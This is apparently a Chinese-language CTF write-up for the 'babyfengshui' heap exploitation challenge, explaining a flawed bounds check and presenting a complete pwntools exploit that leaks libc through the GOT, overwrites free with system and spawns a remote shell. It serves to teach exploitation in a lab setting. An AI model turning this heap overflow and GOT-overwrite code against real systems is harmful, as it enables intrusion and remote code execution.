(攻防世界)(pwn)babyfengshui

入门级的堆题,拿来学习还是不错的。

做这道题之前,最好还是先对堆的数据结构有一定的了解。
拿到题目,下载附件,查看保护。
在这里插入图片描述
一个32位的程序,开了NX和Canary保护,这都不是重头戏毕竟这题不用栈,栈保护只是锦上添花罢了。
把文件拖进IDA查看逻辑:
在这里插入图片描述

可以看到,典型的菜单题,这很pwn,实现了增删改查四个功能,像极了C语言程序设计的期末结业程序设计题哈哈哈,暴露年龄。
进入增加用户功能:
在这里插入图片描述

可以看到,程序先malloc一个块用于保存数据,再malloc一个块作为结构体,用于保存name和description,name为124,也就是0x7c,注意他们都是指针哦。
在这里插入图片描述
这里有个保护就是v3+*ptr[a1]<=*ptr[a1]-4才行
意思就是你写入的数据不能把后面的结构体给覆盖了,但是这却没有考虑堆申请的规则。

题目思路:

我们首先申请两个堆,然后释放掉一个,在申请一个大的,根据堆的数据结构申请规则,就会产生绕过保护的现象,如下图:
在这里插入图片描述

这样我们就绕过了题目的保护,我们就可以利用struct的指针改写got表中的内容了,这就是简单的堆溢出了。
完整exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',40079)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf7659750)
def add_note(size,length,text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline('AAA')
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.recvuntil('text: ')
    p.sendline(text)
def delete_note(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def display_note(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def update_note(idx,length,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))   
display_note(1)                                                        
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr))			#利用description的指针是指向got表的原理,改变description指针指向的地址的值改为system函数
delete_note(2)
p.interactive()
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值